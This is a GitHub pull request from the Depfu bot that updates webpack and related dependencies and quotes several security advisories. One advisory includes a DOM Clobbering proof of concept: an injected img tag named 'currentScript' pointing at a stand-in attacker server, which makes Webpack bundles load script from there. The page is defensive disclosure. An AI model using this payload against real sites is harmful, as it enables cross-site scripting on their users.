Skip to content

🚨 [security] Update webpack 5.10.0 → 5.99.7 (minor) #79

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

depfu[bot]
Copy link

@depfu depfu bot commented Apr 26, 2025


Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!



🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.10.0 → 5.99.7) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​types/eslint (indirect, 7.2.6 → 9.6.1) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ @​types/estree (indirect, 0.0.45 → 1.0.7) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ @​types/json-schema (indirect, 7.0.6 → 7.0.15) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ caniuse-lite (indirect, 1.0.30001183 → 1.0.30001715) · Repo · Changelog

↗️ commander (indirect, 2.14.1 → 2.20.3) · Repo · Changelog

Release Notes

2.20.3

Ran "npm unpublish [email protected]". There is no 2.20.2.

Fixed

  • Support Node.js 0.10 (Revert #1059)

2.20.0

  • fix: resolve symbolic links completely when hunting for subcommands (#935)
  • Update index.d.ts (#930)
  • Update Readme.md (#924)
  • Remove --save option as it isn't required anymore (#918)
  • Add link to the license file (#900)
  • Added example of receiving args from options (#858)
  • Added missing semicolon (#882)
  • Add extension to .eslintrc (#876)

2.19.0

  • Removed newline after Options and Commands headers (#864)
  • Bugfix - Error output (#862)
  • Fix to change default value to string (#856)

2.18.0

  • Standardize help output (#853)
  • chmod 644 travis.yml (#851)
  • add support for execute typescript subcommand via ts-node (#849)

2.17.1

  • Fix bug in command emit (#844)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ electron-to-chromium (indirect, 1.3.650 → 1.5.142) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ enhanced-resolve (indirect, 5.4.0 → 5.18.1) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ escalade (indirect, 3.1.1 → 3.2.0) · Repo

Release Notes

3.2.0

Patches

  • Declare separate ESM and CommonJS TypeScript definitions: a72e1c3
    Previously, only ESM definitions were shipped but were exported in a way that could cause tool/resolution ambiguity.

Chores

  • Update Node.js version matrix in CI suite: a8c6820

Full Changelog: v3.1.2...v3.2.0

3.1.2

Patches

Chores


Full Changelog: v3.1.1...v3.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ graceful-fs (indirect, 4.2.10 → 4.2.11) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ loader-runner (indirect, 4.1.0 → 4.3.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ schema-utils (indirect, 3.0.0 → 4.3.2) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ serialize-javascript (indirect, 5.0.1 → 6.0.2) · Repo

Security Advisories 🚨

🚨 Cross-site Scripting (XSS) in serialize-javascript

A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

Release Notes

6.0.2

v6.0.1...v6.0.2

6.0.1

What's Changed

New Contributors

Full Changelog: v6.0.0...v6.0.1

6.0.0

Changelog

  • Add support for URL's (#123)
  • Bump mocha from 9.0.0 to 9.0.1 (#124)
  • Bump mocha from 8.4.0 to 9.0.0 (#121)
  • Update Node.js CI matrix (#122)
  • Bump mocha from 8.3.2 to 8.4.0 (#120)
  • Bump lodash from 4.17.19 to 4.17.21 (#119)
  • Bump y18n from 4.0.0 to 4.0.1 (#116)
  • Bump chai from 4.3.3 to 4.3.4 (#115)
  • Bump mocha from 8.3.1 to 8.3.2 (#114)
  • Bump mocha from 8.3.0 to 8.3.1 (#113)
  • Bump chai from 4.3.1 to 4.3.3 (#112)
  • Bump chai from 4.2.0 to 4.3.1 (#111)
  • Bump mocha from 8.2.1 to 8.3.0 (#109)
  • Bump mocha from 8.1.3 to 8.2.1 (#105)
  • Drop Travis CI settings (#100)
  • Change default branch name to main (#99)
  • GitHub Aactions (#98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.

const serialize = require("serialize-javascript");

serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'


Thank you @rrdelaney for this release.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tapable (indirect, 2.2.0 → 2.2.1) · Repo

Release Notes

2.2.1

Developer Experience

  • fix some incorrect typings

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ terser (indirect, 5.5.1 → 5.39.0) · Repo · Changelog

Security Advisories 🚨

🚨 Terser insecure use of regular expressions leads to ReDoS

The package terser before 4.8.1, from 5.0.0 and before 5.14.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ terser-webpack-plugin (indirect, 5.0.3 → 5.3.14) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ watchpack (indirect, 2.0.1 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

  • handle empty strings and arrays in ignored

2.4.1

Bugfixes

  • do not report directory as initial missing on the second watch

2.4.0

Bugfixes

  • respect filesystem accuracy more accurately

2.3.0

Features

  • allow to grab separate file and directory time info objects
  • allow functions passed to the ignored option

Bugfixes

  • ignore EACCESS errors during initial scan

Performance

  • improve performance of watcher update

Contributing

  • CI tests node.js 17 too

2.1.1

Bugfix

  • fix warnings with ENOENT when symlinks are resolved by watchpack

2.1.0

Bugfix

  • use creation time instead of modified time for folder entries that are only watch for existence
    • fixes a problem where webpack rebuilds unnecessarily

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ webpack-sources (indirect, 2.2.0 → 3.2.3) · Repo

Release Notes

3.2.2

Bugfixes

  • Source Code is splitted into lines via custom code instead of using a RegExp
    • In weird edge cases the RegExp caused a Stack Overflow

3.2.1

Bugfixes

  • RawSources with Buffers can now be concatenated with ConcatSource
  • Source Code is splitted into lines via custom code instead of using a RegExp
    • In weird edge cases the RegExp caused a Stack Overflow

3.2.0

Performance

  • add SourceMapSource.buffer for better performance
  • more efficient serialization of source mappings

Bugfix

  • avoid crashing when trying to compare the name with the original source, but there is no sourcesContent in SourceMap

3.1.2

Bugfix

  • improve handling of invalid mappings (like zero sized or negative)

3.0.4

Bugfix

  • fix invalid mappings when multiple lines with multiple chunks are replaced

3.0.2

Bugfix

  • fix incorrect offset sign when doing replacements

3.0.1

Bugfixes

  • fix ConcatSource off-by-1 bug

3.0.0

Performance

  • remove all dependencies
  • refactoring for performance
    • remove node() and listMap()
    • add streamChunks()

2.3.1

Performance

  • fix type bug in CachedSource which lead to bad hashing performance

2.3.0

Performance

  • add caching to node and listMap

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​jridgewell/gen-mapping (added, 0.3.8)

🆕 @​jridgewell/resolve-uri (added, 3.1.2)

🆕 @​jridgewell/set-array (added, 1.2.1)

🆕 @​jridgewell/source-map (added, 0.3.6)

🆕 @​jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @​jridgewell/trace-mapping (added, 0.3.25)

🆕 @​webassemblyjs/helper-numbers (added, 1.13.2)

🆕 ajv-formats (added, 2.1.1)

🆕 es-module-lexer (added, 1.7.0)

🆕 fast-uri (added, 3.0.6)

🆕 picocolors (added, 1.1.1)

🆕 require-from-string (added, 2.0.2)

🗑️ @​webassemblyjs/helper-code-frame (removed)

🗑️ @​webassemblyjs/helper-fsm (removed)

🗑️ @​webassemblyjs/helper-module-context (removed)

🗑️ @​webassemblyjs/wast-parser (removed)

🗑️ source-list-map (removed)

🗑️ yocto-queue (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Apr 26, 2025
Copy link

changeset-bot bot commented Apr 26, 2025

⚠️ No Changeset found

Latest commit: 55fdcf7

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants